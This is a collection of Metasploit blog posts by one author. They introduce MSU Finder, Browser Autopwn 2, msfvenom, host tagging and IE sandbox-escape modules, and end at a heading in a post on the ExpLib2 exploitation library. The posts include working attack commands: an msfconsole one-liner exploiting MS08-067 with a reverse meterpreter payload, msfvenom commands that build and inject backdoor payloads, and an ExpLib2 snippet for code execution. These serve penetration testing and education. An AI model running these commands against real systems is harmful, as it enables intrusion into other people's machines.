Skip navigation
All Places > Metasploit > Blog > Authors sinn3r
1 2 3 Previous Next


37 Posts authored by: sinn3r Employee

Patch testing and analysis are important parts in vulnerability research and exploit development. One popular reason is people would try this technique to rediscover patched bugs, or find ways to keep an 0day alive in case the fix in place is inadequate. The same process is also used to find the range of builds affected by a vulnerability, which tends to be useful to predict the value of the exploit, improving target coverage and reliability.


Going through Microsoft patches is no easy task, though. There could be hundreds of advisories for the bug you're working on, each including different operating systems, different architectures, different languages, etc. Of course, there are tools publicly available that can search and patch whatever you're vulnerable to, but this is only great for regular use such as home or IT infrastructure. For research purposes, we usually don't want just one patch. We often want all (or most) that are associated with the product. Surprisingly, there seem to be no tools suitable for this kind of task. So we made a new tool called MSU Finder, and another called extract_msu.bat to extract patches.


MSU Finder


The main purpose of MSU Finder is to find the download links for Microsoft patches. You can also use it to find advisories of a given product, in case you are curious about how often something gets updated.


Technet Search Engine


The tool supports two ways to find Microsoft advisories: The first and default one is via Technet. In this mode, MSU Finder will check against pre-defined product list from Technet, and return all the ones that match. If nothing matches, the tool will just perform a more generic search. The Technet search engine allows you to search by MSB, KB, or CVE number.


Google Custom Search API


The other search engine MSU Finder supports is Google Custom Search API. The request is equivalent to the following Google search:


SEARCH_QUERY intitle:"Microsoft Security Bulletin" -"Microsoft Security Bulletin Summary"


To be able to use the Google engine, you need to get an API key and a Search Engine ID:


  1. Have a Gmail account
  2. Go to Google Developer's Console
    1. Enable Custom Search API
    2. Create a credential. This credential is the API key.
  3. Go to Custom Search
    1. Create a new search engine
    2. Under Sites to Search, set it to:
    3. In your search site, get the Search Engine ID under the Basics tab.




MSU Finder currently has a bit of learning curve. First off, the -q argument is mandatory. An important thing to understand is that the script will find advisories associated with that string, and then give you ALL the download links. And by "ALL", I mean all of it. For example, if your -q is "Internet Explorer 11", you will also get download links for other IE versions because they are all associated with the same advisory (vulnerability). So to narrow down your results more, you will need the -r option as well.


For example, if you want to look for IE 11 patches for x86, use a more narrow query like this:


$ ruby tools/exploit/msu_finder.rb -q "Internet Explorer 11" -r "^IE11.+x86"


The -r option is a regular expression (regex) filter for the download link. This method works well if you are already familiar with Microsoft's patch naming convention, which typically begins with the product name or the operating system. You may need to play with this a little bit to get the hang of it. Even if you can't find an appropriate regex, it's okay. Download them anyway, and then on Windows you can sort files by modified date or product version, and then it will become apparent which ones you want, or don't want.


If you are not sure which advisories might get picked up by the search, try the -d option. This will only show you advisories numbers without actually fetching any links:


$ ruby tools/exploit/msu_finder.rb -q "Internet Explorer (10|11)" -d


Finally, MSU Finder does not include the ability to download patches directly, but you can save the links to a file and use a tool like wget to download them:


$ ruby tools/exploit/msu_finder.rb -q "ms15-100" -r x86 > /tmp/list.txt && wget -i /tmp/list.txt


To learn more about MSU Finder, please use the -h flag.




As the name implies, this tool can extract Microsoft patches, specifically MSU files. It only runs on Windows, because it basically uses the expand command to extract. To use this:


  1. Start a Windows machine (XP or higher, so you have the `expand` command available)
  2. Copy extract_msu.bat onto the Windows machine
  3. Put all the MSU files in the same directory
  4. Run: extract_msu.bat [absolute path to the directory]
  5. As the tool runs, it will create a new folder for each MSU. And then in that new folder, there's another sub-folder named "extracted", that's where you can find the actual file(s) the patch wants to install. Now, since you're on Windows, you can search whatever DLL (or EXE) you are looking for, and then easily sort by creation date, product version, etc. Or, you can copy and paste all the found files onto the same folder, and then use whatever 3rd-party tool for additional analysis.


Both of these tools are now available for the Metasploit Framework. You can use MSU Finder to find you advisories or even be leveraged to automatically download patches. After downloading, you can use extract_msu.bat to extract them. After the patches are extracted, you can easily search for the actual components you want, put them in one place, and now you have a nice collection of release builds for research or development purposes.


To get your hands on these tools, please feel free to download Metasploit Framework, or git clone. If you are already a Metasploit user, you can run the msfupdate to receive them. To report a bug, or request additional features, please submit them to our metasploit-framework Github.

Hello again,


Welcome back! So yesterday we did an introduction about the brand new Browser Autopwn 2, if you have not read that, make sure to check it out. And today, let's talk about how to use it, what you can do with it for better vulnerability validation and penetration testing.


As we explained in the previous blog post, Browser Autopwn 2 is a complete redesign from the first one so quite a few things will look and feel different for you. Here are the things you should know before using:


Exploit URLs


First off, there is only URL you need to care about, and that's the BrowserAutoPwn URL in green (or yellow if you're on Pro). If you need to see each exploit's URL, you need to do set VERBOSE true, and there will be another column for it like the following example:


Screen Shot 2015-07-14 at 11.20.38 AM.png


The verbose option will also print more things when Browser Autopwn is in action. Hey, you asked for it :-)


Browser Autopwn Options


If you do "show options" or "show advanced" in msfconsole, you will see that Browser Autopwn 2 has these special options that other typical HttpServer modules don't have:


The HTMLContent option


The HTMLContent option allows you to serve a basic HTML web page to the browser instead of having a blank one. It supports two syntaxes:


set HTMLContent Hello world!


The above example will basically print "Hello world!" on the browser while exploits are tested against it. Here's another one:


set HTMLContent file://tmp/hello_world.html


The above example will load file /tmp/hello_world.html and that's what the browser will see. Most likely the second syntax is how you'd want to use the Content option.


Keep in mind that you should probably try to keep HTMLContent as simple as possible, otherwise there is a possibility that it might actually influence the reliability of the exploits, especially the ones that do memory corruption.




The EXCLUDE_PATTERN option is used for excluding exploit file names you don't want Browser Autopwn 2 to use. This is a regex type option, you can be creative about this. For example, Adobe Flash exploits in Metasploit tend to have the same file name that begins with: "adobe_flash_", so to exclude those, you can do:


set EXCLUDE_PATTERN adobe_flash




The INCLUDE_PATTERN option is for loading specific exploits that you want Browser Autopwn 2 to use. Let's reuse the Adobe Flash file name example, if you only want Flash exploits, you can do:


set INCLUDE_PATTERN adobe_flash


If you set both INCLUDE_PATTERN and EXCLUDE_PATTERN, the evaluation for INCLUDE_PATTERN will kick in first, followed by EXCLUDE_PATTERN.


The MaxExploitCount option


The MaxExploitCount option is for specifying how many exploits you want Browser Autopwn 2 to load. By default, it's 21. But you can try to bump it up a little bit if you wish to try more exploits. Note that by doing so you are also allowing more lower ranking modules to kick in, you will have to figure out the sweet spot for it. An example of setting it:


set MaxExploitCount 30


The MaxSessionCount option


The MaxSessionCount option is for limiting how many sessions to get. It may sound a little odd at first because why would you want to do that, right? Well, a use case for this is when you don't actually want to pop shells, instead you just want to know what exploits could be used, this is something you can try. You can also use this if you don't want your attack to stay open the whole time:


set MaxSessionCount 10


The ShowExploitList option


The ShowExploitList option means displaying a list of exploits specific to each browser/client. As we've explained before, when BAP2 loads 21 exploits, probably not all 21 will be served to the browser, only some of them. In order to see those ones, you need to set this option:


set ShowExploitList true


The AllowedAddresses option


The AllowedAddresses option is for attacking a specific range of IPs as a way to avoid penetration testing accidents. For example, when you send a malicious link to a specific person, that person may actually share it with his friends, family or other people, and those people aren't your targets so you shouldn't hit them. Well, Browser Autopwn doesn't know that, so one of the ways to avoid that is to create a whitelist.


The option also supports two syntaxes. This is most likely how you will set it:


set AllowedAddresses file://tmp/ip_list.txt


The above will load file ip_list.txt. In that file, one IP per line.


The ExploitReloadTimeout option


The ExploitReloadTimeout is for setting how long BAP2 should wait before loading the next exploit. By default, it's 3 seconds, but in case some exploits need more time (for example, longer time to groom the heap, load other things, or it's doing a sleep somewhere), you will need to set this. In most cases, you shouldn't have to.


Here's an example of setting it to 5 seconds:


set ExploitReloadTimeout 5000




Application-Specific Testing


By default, Browser Autopwn 2 goes through the entire exploit module tree, and will try to use different types of exploits - Firefox, Internet Explorer, Adobe Flash, Android, etc. If you want to test a specific application, basically all you need to do is setting the INCLUDE_PATTERN option (or maybe EXCLUDE_PATTERN).


However, there is another trick to make this task even easier. BAP2 also comes with the following resource scripts that can automatically do this:


  • bap_firefox_only.rc - For testing Firefox
  • bap_flash_only.rc - Fore testing Adobe Flash
  • bap_ie_only.rc - For testing Internet Explorer

Here's an example of using bap_flash_only.rc to test Adobe Flash vulnerabilities:

$ ./msfconsole -q -r scripts/resource/bap_flash_only.rc 





So one of the use cases we've heard from people who do phishing or social engineering attacks is that they don't necessarily use exploits, they might trick people into clicking on a "malicious" link, and that takes the user to a security training website or whatever. But while doing this it would be nice to know what exploits could be used against each user, wouldn't it? With the new Browser Autopwn, you can do all this.


The solution for that is this new resource script: bap_dryrun_only.rc. It does a few things for you:



Here's an example of how it runs:


Screen Shot 2015-07-15 at 1.48.04 AM.png


Now, if I serve the BrowserAutoPwn URL to the client, they will see the rick-rolling video, which I'm sure will drive them crazy. And guess what? Rick Astley will never gonna give you up!


Screen Shot 2015-07-15 at 1.50.14 AM.png


On the attacker's side, you've already collected information about which browser exploits this user is possibly vulnerable to. Pretty nice, yeah?


Screen Shot 2015-07-15 at 1.50.45 AM.png




In addition, when a browser connects to BAP, this link-clicking event is also logged to the database as a "bap.clicks" note type. If the ShowExploitList option is set to true, that will also save the exploit list information so that after testing you can go back to the database and see which users are vulnerable to what exploits.


Even if you don't set the ShowExploitList option, the logged link-clicking event data is more than enough to prove that the user was social-engineered, which is still a security risk.


To see all the bap.clicks events, in msfconsole do:


notes -t bap.clicks


And here's an example of the list:


Screen Shot 2015-06-30 at 7.12.30 PM.png


From there, you can do additional analysis of these notes, put it on your report, and hopefully do something about it.


And that's all we have for today! I hope you like what you see :-)


Browser Autopwn 2 is Metasploit's new shiny weapon that reflects how hackers today carry out browser attacks against real targets, from amateur level to APT (Advanced Persistent Threat), which ultimately affects every user on the Internet both personally and financially. If you would like to give Browser Autopwn 2 a try to see how you can defend against it, it is now available in upstream master. As a framework user, you can get this by running the msfupdate utility. If you are a Metasploit Pro or Kali user, please keep an eye on the upcoming update. Any bug reports or feature requests, please submit them to Metasploit's Github repository. Any questions, please feel free to start a discussion on the Rapid7 Community. Or if you will be at Defcon 23, come by and say hi and let us know what you think how the future of Browser Autopwn should be :-)

Hi everyone,


Today, I'd like to debut a completely rewritten new cool toy for Metasploit: Browser Autopwn 2. Browser Autopwn is the easiest and quickest way to explicitly test browser vulnerabilities without having the user to painfully learn everything there is about each exploit and the remote target before deployment. In this blog post, I will provide an introduction on the tool. And then in my next one, I will explain how you can take advantage of it to maximize your vuln validation or penetration testing results.


The Origin of Browser Autopwn


Screen Shot 2015-06-30 at 2.31.50 AM.pngBefore we begin, allow me to talk about why we decided to recreate it. Originally, Browser Autopwn was written by our developer Egyp7 back in 2008. It all started off with how Egyp7 saw people were using browser exploits the wrong way. Typically, users would fire off one exploit at a time to do a real attack, but you shouldn't do that because in reality you'd probably run into users with different browsers on different platforms. If the only exploit you're using ends up being loaded by the wrong version of browser, your attack could be spoiled. What you need is some type of custom web server that automatically detects what the connected client is using, what platform it's on, and then serve the exploits accordingly. Or as Egyp7 put it: "you need the guided missile approach."


In 2009, the first Browser Autopwn was presented at Defcon 17.


The brain behind the new BAP: BrowserExploitServer


In 2013, I wanted to take this design even further and began some big changes. First off, I created the BrowserExploitServer mixin (or BES for short). Instead of having information gathering exclusive in Browser Autopwn, a standalone BES-powered browser exploit will always enforce it in order to avoid user errors. We also added some decent support for multi-platform plugin detections.


Exploit writers are also required to always specify exploitable requirements, such as the browser version (down to the build number when possible), platforms, plugin version, etc. The final result of doing all this allows a BES module to be smarter all the time: if you serve the exploit to a target that isn't exploitable or suitable, the module will figure this out on its own and refuse to attack.


Browser Autopwn 2


In 2015, I started rewriting Browser Autopwn. The new one relies on BES to gather browser information, and then it can share that info with the exploits it manages so they don't have to do it again. Some notable features include:




Since BAP2 doesn't need to worry about information gathering, I was able to spend more time on performance, module management and some visual experience. For performance, you will see a major boost compare to the old one. In my testing (2.7 GHz i7, 16GB DDR3, SSD, Ruby 2.1), the old one takes about 3 minutes to load and be ready. The new one is roughly 6 to 7 seconds. Exactly how fast your BAPv2 can get going also depends on your hardware, but this should give you an idea how fast it is now.


Better Module Management


I also took a very different approach with module management. Instead of manually maintaining a list of exploits to use for Browser Autopwn, there is no maintenance required. What BAP2 does is it will go through the entire exploit module tree, find all the ones powered by BrowserExploitServer, and then sort them based on the module ranking and disclosure date. In other words, the highest ranking and the newer exploits will be tried first. By default, 21 exploits are loaded, and this is user-configurable.


When a browser is connected to the Browser Autopwn server, obviously not all those 21 exploits will be served. Browser Autopwn will do an exploitable requirement check to find the ones suitable, and then give the browser a list of exploit URLs to try. Since these are sorted by ranking and date, the new Browser Autopwn has a much better first shot accuracy than before, so it pwns faster.


Exploit Content


Obviously, having good exploits is also an important part for the whole delivery system. You will see that out of the default 21, most of them are: Excellent, Great, and Good rankings around Android, Firefox, and Adobe Flash. And this default list will also tend to reflect what kind of exploits people are seeing in the wild. For example, this year we have seen a higher number of Adobe Flash attacks, you will see this pattern too with BAP2.


If you'd like read about our coverage on recent Adobe Flash, make sure to checkout More Flash Exploits in Framework written by our developer Juan Vazquez.


Visual Experience


The new Browser Autopwn 2 also gets a different looking interface. The goal is not to overload the user with information, so it uses a Rex table to tell you what exploits will be used and what payloads they will be using. As an user, this is pretty much all you care really. And then of course, at the bottom it tells you which URL to use for the attack.


Here's the new look of Browser Autopwn 2:


Screen Shot 2015-07-14 at 2.09.49 AM.png


If you'd like to try, BAP2 is now available upstream in the Metasploit Framework. Make sure to run msfupdate and you should have it. If you are a Pro or Kali user, you will soon have BAP2 in the upcoming update.


And finally, I'd like to thank these people for making BAPv2 even better and smarter: HD Moore, Juan Vazquez, James Lee, void-in, and mr_me.


For the next blog, I will talk about things like how to limit the scope of your attack (so it won't go wild like crazy and you hit the wrong people), how to test a specific browser, how to rick-roll and still collect exploitable information, etc. It will be fun. Stay tuned.


If you'd like learn about all the fun tricks you can do with Browser Autopwn 2, please read the next blog post.

Hi everyone,


This January, we made an announcement about the deprecation of Msfcli, the command line interface version for Metasploit. Today we are ready to say good-bye to it. Instead of Msfcli, we recommend using the -x option in Msfconsole. For example, here's how you can run MS08-067 in one line:


./msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST [IP]; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST [IP]; run"


You can also leverage things like resource scripts or even command alias to do less typing. Here's an example of how you would write a resource script to automate running MS08_067:


use exploit/windows/smb/ms08_067_netapi
set RHOST [IP]
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST [IP]


And then run it:


./msfconsole -r name_of_resource_script.rc


Another way to run a resource script if you're in msfconsole already:


msf > resource name_of_resource_script.rc


If you have any questions, please feel free to create a discussion on SecurityStreet, or e-mail us at msfdev[at] To submit a bug report or feature request, please go to Metasploit's Github repository. Thanks!

Oh hi folks,


Last year on December 9th, we made an official announcement about deprecating MsfPayload and MsfEncode. They are being replaced by msfvenom. Well, today is the day we pull the plug. We are currently in the process of removing these two utilities, and in a day or two you will never see them from upstream again.


If you are still not so familiar with msfvenom, you can always use the -h option to see the help menu. Or you can read the following wiki documentation to get started:


RIP MsfPayload & MsfEncode.


If you have any questions, please feel free to e-mail msfdev[at] Any bug reports or feature requests, please submit to Github.


Thanks yall!

Hello my fellow hackers,


Tag-youre-it.jpgFor today's blog post, I'd like to talk about host tagging a little bit in Metasploit. If you are a penetration tester, a CTF player, or you just pop a lot of shells like a rock star, then perhaps this will interest you. If you have never used this kind of feature, then hopefully this blog post will bring you a new idea on how to approach host management.


So what is host tagging? Well, the idea is simple really. It's a way to label your targets and make them more meaningful to you. As a professional, you probably know how painful it is to break into a large network and deal with so many IP addresses, because let's be honest, you can't always remember what they are. Instead of digging through IPs and find what you're looking for, it would be much nicer to ask your tool to search for "all the sales people" or "all domain controllers" or "all android devices", etc. This will significantly improve your work efficiency, and you can use the extra time for more pwnage. If you're a CTF player, sometimes you will find this useful too.


The practice of host tagging is actually nothing new, but it was never in Metasploit Framework until now. Let's talk about how to use it.


To begin, make sure your Framework is up to date. Running the msfupdate utility or git pull (if you checked out Framework from Github) will get you there. Go ahead and start msfconsole, and first off let's look at the host command's help menu because this is where we implemented tagging:


Screen Shot 2015-03-24 at 2.07.32 PM.png


As you can see, the -t (or --tag) option is for tagging. It is important to know that your tag is case-sensitive, and should not contain any whitespace characters, ideally just keep it alphanumeric. In addition, you will probably also need to combine it with other options such as -R (allows you to specify a range of hosts), the -S (allows you to search hosts), and -d (to delete a tag).


Let's cover some common usage scenarios:


Tagging a host or a range of hosts


Syntax: hosts -R [IP Range] -t "New_Tag"




Screen Shot 2015-03-24 at 3.25.40 PM.png


Listing hosts with the tags column


Technically speaking, the tags column is treated as a virtual column, and virtual columns aren't displayed by default. So in order to see what tags are used, you will have to use the -c option and specify all the columns you want to see. Again, you can use the -h menu to see what columns are available.


Syntax: hosts -c 'address,name,os_name,os_flavor,os_sp,info,comments,tags'




Screen Shot 2015-03-24 at 3.27.26 PM.png


Searching hosts with a specific tag


You probably didn't realize this, but by default, the hosts command is already in search mode. The -S option is just adding a filter to that search. When you use -S, here's what happens under the hood: first your input will be converted to a regex and be used to find matching data in different columns. The same input will also be used as a string to look for tags, not a regex search.


Also, by default the search results will not display the tags column (again, because it's a virtual column). So if you want to see that, make sure to use the -c option, too.


Syntax: hosts -S [tag name]




Syntax: hosts -S [tag name] -c 'address,name,os_name,os_flavor,os_sp,info,comments,tags'




Screen Shot 2015-03-24 at 3.59.36 PM.png


Deleting a tag


This is pretty self-explanatory


Syntax: hosts -d -t "tag"



Deleting a tag for a specific range of hosts

This is handy if you only want to remove the tag of some hosts, without going through the trouble of deleting them all and retag them.


Syntax: hosts -R [IP range] -d -t "tag"

Metasploit Pro: Tagging on Steroids



Truth be told, Metasploit Pro has had host tagging for years, and can do even more. If you are a Pro user, mouse over Analysis, click on Hosts, and then you should see the TAGS column like the following:


Screen Shot 2015-03-24 at 4.25.09 PM.png


Note that these tags are clickable. When you click one, the interface will only show hosts with that tag. If there are a lot of hosts, then there will be pages. By default there's 100 hosts each page, and that is user-configurable, which is a handy feature if you have a lot of hosts and you don't want it to take forever to load all of them in one single page.


To tag one or more hosts, first select the hosts - you can select all by clicking on the first check box, or you can use the shift key to select some of them like you do with files. And then click on the Tag button, which will bring you a Tag editing menu:


Screen Shot 2015-03-24 at 5.36.41 PM.png


In this menu, you can add as many tags as you want. You can also remove them.


If you wish to manage your tags for an individual host, you can just click on that IP, and then the tags for it will be on the right:


Screen Shot 2015-03-24 at 5.43.10 PM.png


If you wish to manage all the tags you've created, then you can mouse over Analysis again, click on Tags, and then you should see this:


Screen Shot 2015-03-24 at 5.52.54 PM.png


In here, you can delete tags, add a description, or tell Pro to use them for reporting.


Another neat trick with Pro is that if for some reason you don't like clicking things and you actually like typing better, then you can bring up msfconsole by first enabling "Debugging" under Global Settings. And then when you're looking at the hosts, press: [CTRL]+[~], you will get this:


Screen Shot 2015-03-24 at 6.07.37 PM.png


And then at that point you can use the hosts command to tag. But remember you will need to refresh the page to see the results.


Metasploit Community and Express


Host tagging used to be a feature exclusively for Pro users. But soon this will open up to the Community and Express edition too so everybody can enjoy it. Please keep an eye on the upcoming updates.


Try Metasploit


As you can see, tagging can be a powerful feature for host management. It allows you to identify what you want quickly and save time for your penetration test. For Metasploit Framework, it provides some basic functionalities you need for tagging. But if you use Metasploit Pro, or even the Express/Community edition, you can do more. If you have never used Metasploit, clearly you are missing out, why don't you download it here.


This post is the second in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements and events in the Metasploit Framework over the course of 2014.

For today's HaXmas amusement, I have something fun to share with you all. So the other day I was watching this movie called The Knowing, an action-thriller starring Nicolas Cage. The story of this movie begins with a school teacher telling the students that as part of the school's opening day celebration, they should make drawings showing the future as each of them sees it, and placing them in a time capsule. 50 years later, the time capsule is finally opened. But in it, there's an unusual letter full of numbers, which is eventually solved by the one and only Nicolas Cage. The numbers actually link to chilling predictions that either have already occurred or about to, such as earthquakes, fires, tsunamis, etc. And then... well, you should just watch the rest :-)


While I was watching this movie, I was like "oh crap, almost forgot about this, but I got a time capsule too in one of my exploits!" My time capsule hasn't been buried for 50 years, but when I created this I was actually hoping someone would discover it, and then maybe have a laugh. But as far as I can tell, nobody did. So, today is the day I reveal that secret.


I created this time capsule in 2011 for my CVE-2010-3275 exploit, also known as "VLC AMV Dangling Pointer Vulnerability". I remember that while writing this exploit, I couldn't really find an AMV file, so I decided to grab my camera, recorded a short video, and then used a converter to convert the video format to AMV. The video has a message, but is kind of corrupt so you can't actually see it. You can hear something at least, which is meant to be a hint that there's something in the video. You will have to modify back, and I'm going to tell you how.


First off, grab a copy of msf/data/exploits/CVE-2010-3275.amv.


Second, you need a hex editor. My personal favorite is 010 Editor, but use whatever you want. Open the AMV file, and then at the 0x40th byte, you will see this DWORD 0xA0 0xA0 0x00 0x00. This is actually the resolution width of the video, which is the mangled portion that caused the vulnerability. Change the second 0xA0 back to 0x00, which translates to 160 in decimal, like the following screenshot:


Screen Shot 2014-12-22 at 7.43.22 PM.png


Ok, now, go download VLC player. The latest isn't vulnerable anymore, so you're fine.


Finally, open the AMV file with your VLC Player, and you shall see the hidden message that's been buried for years:


Screen Shot 2014-12-22 at 7.41.10 PM.png


In case you're wondering where I got that Got Root? sticker, I got it from Defcon, and you can buy yours from Jinx. And this is almost certainly the only Easter Egg left in Metasploit. You probably shouldn't bother looking for more.

the_force_is_weak.jpgGreetings all,


On behalf of the Metasploit's development teams, I'd like to officially announce the decision of deprecating msfpayload and msfencode. Also starting today, we no longer support or accept patches for these two utilities. On June 8th 2015, the elderly msfpayload and msfencode will retire from the Metasploit repository, and replaced by their successor msfvenom. The tool msfvenom is the combination of msfpayload and msfencode, and has been in testing for more than 3.5 years.


msfpayload and msfencode have been in service to the hacking community for almost 10 years. What's really remarkable about them is that and they've been playing a big part in the success of computer hacking on almost every level, offense or defense. As an experienced penetration tester, sometimes maybe you don't necessarily know all the exploits out there publicly, maybe you don't even care because you're such a honey badger, but I'm pretty sure you would be more than happy to bring a modified executable generated by msfpayload for an on-site gig just in case. If you're just feeling nerdy all the way, you probably "concealed-carry" a msfpayload-generated file on your USB keychain at all times, too. If you're an exploit writer, for fun or profit, even if you don't really write Metasploit modules, you probably have used msfpayload to create something for you. If you're just a security enthusiast, maybe you've even used msfpayload to impress your friends. Both msfpayload and msfencode have also had their share in the education and entertainment industry, including: books, on-line tutorials, talks at security conferences, trainings, live interviews, Youtube, etc. I can spend my entire blog talking about how people use these tools if you let me. But if you have a cool hacking story done with mostly just msfpayload, please do share in the comment section below.


The second remarkable thing about msfpayload and msfencode is the people behind them. Since 2005, the tools have been fixed, improved, maintained, and documented by the open source security community. Each person has sacrificed their weekends, holidays, quality time with their friends and family to make sure the tools remain working properly. It has not been always easy, and most importantly no contributors have ever asked anything in return. If you ever run into one of these Metasploit people at a conference, make sure to buy them a drink.


As we begin the final six-month journey, we'd like to encourage you to use the time to become familiar with msfvenom. If you are a tool developer that relies on msfpayload or msfencode, now is a good time to start making that migration. If you're a trainer, please update your course materials.

Basic Msfvenom Usage

If you have never used msfvenom, the first thing you should do is read the help menu, and memorize some of these flags:

    -p, --payload    <payload>       Payload to use. Specify a '-' or stdin to use custom payloads
    -l, --list       [module_type]   List a module type example: payloads, encoders, nops, all
    -n, --nopsled    <length>        Prepend a nopsled of [length] size on to the payload
    -f, --format     <format>        Output format (use --help-formats for a list)
    -e, --encoder    [encoder]       The encoder to use
    -a, --arch       <architecture>  The architecture to use
        --platform   <platform>      The platform of the payload
    -s, --space      <length>        The maximum size of the resulting payload
    -b, --bad-chars  <list>          The list of characters to avoid example: '\x00\xff'
    -i, --iterations <count>         The number of times to encode the payload
    -c, --add-code   <path>          Specify an additional win32 shellcode file to include
    -x, --template   <path>          Specify a custom executable file to use as a template
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread
        --payload-options            List the payload's standard options
    -o, --out   <path>               Save the payload
    -v, --var-name <name>            Specify a custom variable name to use for certain output formats
    -h, --help                       Show this message
        --help-formats               List available formats


Example 1: If you wish to list all the payloads available, you can do the following (also the same for listing encoders, nops, or all):


./msfvenom -l payloads


Example 2: Generating a windows/meterpreter/reverse_tcp:


./msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP -f exe


Example 3: To generate a payload that avoids certain bad characters:


./msfvenom -p windows/meterpreter/bind_tcp -b '\x00'


Example 4: To generate a payload with a specific encoder, and then encode 3 times:


./msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3


Example 5: Inject a payload to calc.exe, and save it as new.exe


./msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -k -f exe > new.exe


Msfvenom is also documented [here]


And that's it for today. If you find any issues with msfvenom, please report to:

Screen Shot 2014-07-02 at 1.48.48 PM.pngIn this week's Metasploit update, we'd like to introduce two sandbox escaping exploits for Internet Explorer, and demonstrate how you're supposed to use them. The two we're covering are MS13-097, an escape due to Windows registry symlinks. And MS14-009, by exploiting a type traversal bug in .Net Deployment Service. We will also briefly go over other new modules and new changes, and here we go.

Why You Need a Sandbox Escape in Internet Explorer


A couple of years ago, exploiting Internet Explorer was pretty straight forward. In most cases you'd only need one exploitable vulnerability to gain arbitrary code execution, and you had lots of freedom under the context of the user. Well, times have changed quite a bit since the birth of Protected Mode, and it has become even harder with Enhanced Protected Mode. Nowadays, a single vulnerability is no longer enough in newer Internet Explorer, you most likely need multiple flaws, with at least one of them being a sandbox bypass, and then you chain them together in order to actually do some real damage. Here's an example of what it's like to operate under Internet Explorer 11's Enhanced Protected Mode:


Screen Shot 2014-07-01 at 3.58.31 PM.png


As you can see, my meterpreter shell can't even create a directory under process iexplore.exe due to low privileges, so we're going to have to escalate. Let's pick exploit/windows/local/ms14_009_ie_dfsvc as an example, which is used the way you would with pretty much any other local privilege escalation modules:


Screen Shot 2014-07-01 at 4.11.25 PM.png


Much better. Looks like we have more freedom to do more stuff to the system.


Although the MS14-009 module was intended for Enhanced Protected Mode during development, it should also work fine against different patch levels of Internet Explorer as long as the .Net Framework version is outdated (4.5.0, 4.5.1, or older). There is also a check() method implemented, which you can call on your own by using the "check" command. But the exploit will call check() anyway when you try to use it, so it's a bit safer to use than the other sandbox bypass exploit. The MS13-097 module is pretty much used the same way, but is more specific to Internet Explorer. There is no check implemented in that one, so use it at your own risk.

Special thanks to James Forshaw for the above discoveries and proof of concepts, and Juan Vazquez for the Metasploit modules.


More Goodies


  • exploit/windows/http/cogent_datahub_command - This week's release also includes an exploit for Cogent DataHub 7.3.5, a human-machine interface that's designed to manage embedded data at real-time. I'm sure you guys (and gals) aren't crazy enough to fire exploits directly against any SCADA systems in production, but still it's important to remind you that using this module will most likely cause the remote service to hang, and must be restarted manually, which explains why this is a Manual Ranking module.
  • exploit/windows/http/hp_autopass_license_traversal - This is a licensing server made by HP, which is exploitable due to not enforcing any authentication, and suffers from a directory traversal that allows you to upload a malicious JSP payload file to compromise the machine. This is actually kind of a typical problem in web applications, HP unfortunately is no exception to this.
  • auxiliary/scanner/ssh/cerberus_sftp_enumusers - Originally found by Steve Embling, and submitted by our new Metasploit contributor Matt Byrne. You can use this module to enumerate users from Cerberus FTP via the SSH service. Useful during information gathering, because you know what they say: "If I had eight hours to chop down a tree, I’d spend the first six of them sharpening my axe."


Other Changes


  • Additional support of WEP, PSK, and MGT for module auxiliary/gather/chromecast_wifi
  • Improved SMB client API - Mainly we did some work with how SMB's recv method handles data with caching, and being more tolerant on out-of-sync SMB responses for more reliability. We also reworked the auxiliary/gather/windows_deployment_services_shares module to adapt the new changes.
  • Fixed a NoMethodError bug in struts_code_exec_parameters


If you're new to Metasploit, feel free to get started with the free version here for either Linux or Windows, or get the trial version of Metasploit Pro for serious pwnage. For those who already use Metasploit, make sure to run the msfupdate command and get the latest changes, GUI users (Pro and Community) should use the Software Update button instead.


For additional details about this update, please see the release notes.


May the force be with you.

This blog post was jointly written by Wei sinn3r Chen and Juan Vazquez


Memory corruption exploitation is not how it used to be. With modern mitigations in place, such as GS, SafeSEH, SEHOP, DEP, ASLR/FASLR, EAF+, ASR, VTable guards, memory randomization, and sealed optimization, etc, exploit development has become much more complicated. It definitely shows when you see researchers jumping through hoops like reverse-engineering some 0-day vulnerability and the software, turning a use-after-free crash into an arbitrary write, leak an object and disclose a module base, and customized ROP and shellcode. Watching an exploit developer work is like watching a nice kung fu movie: you see him trying to thrust, hack, kick, hitting left and right, from the ground all the way to rooftops, and then next thing you know he just popped a shell. It's all very fancy. Oh, and it's real.


Despite all the fanciness of modern exploitation, security researcher Yuki Chen (who is the exploit dev version of Bruce Lee) took a different turn. If you're not much of a Bruce Lee fan, well, Lee was really big in the philosophy of simplicity. In his words:

Screen Shot 2014-04-03 at 1.42.06 PM.png

“It’s not the daily increase but daily decrease. Hack away at the unessential.”

What Yuki Chen wanted to do was avoid dealing with the hassle of EAF, DEP, shellcode, and other things. Basically, going for the most straight-forward punch with the least amount of effort. His idea of simplicity and the creation of ExpLib2 are what make him so Bruce Lee. However, we notice that the security community hasn't been talking about his stuff much, so here we'd like to go over his work on ExpLib2 more in depth, hopefully to spark more interest.

ExpLib2 is basically Yuki's exploitation library for Internet Explorer. To be able to use this, it assumes you already have a bug for an arbitrary write. And then you will have to use this bug to modify the length field of an array in memory, and you tell the library where it is, what payload to run, and that's all it needs from you. To give you an idea how much you're writing for the exploit, take a good look at the following example:

function modifyArray() {
  // Use your bug and modify the array here
  // For testing, we do: ed 1a1b3000+18 400

function example() {
  var num_arrays = 98688;
  var arr_size = (0x1000 - 0x20)/4;
  var explib = new ExpLib( num_arrays, arr_size, 0x1a1b3000, new payload_exec('calc.exe') );
  explib.setArrContents([0x21212121, 0x22222222, 0x23232323, 0x24242424]); // There is a default one too
  explib.go();  // Code execution

The go() function from ExpLib2 will then use the information initialized by you and leak objects in order to figure out where the security manager is, makes a copy of it, have it modified (and patches other necessary functions), that way the ScriptEngine functions will end up using your fake security manager, and execute your payload in "god mode". This is pretty much the summarized version of the technique, which is also briefly explained in the original paper by Yuki, "Exploit IE Using Scriptable ActiveX Controls", but let's take a closer look at this magic trick.

Heap Spraying


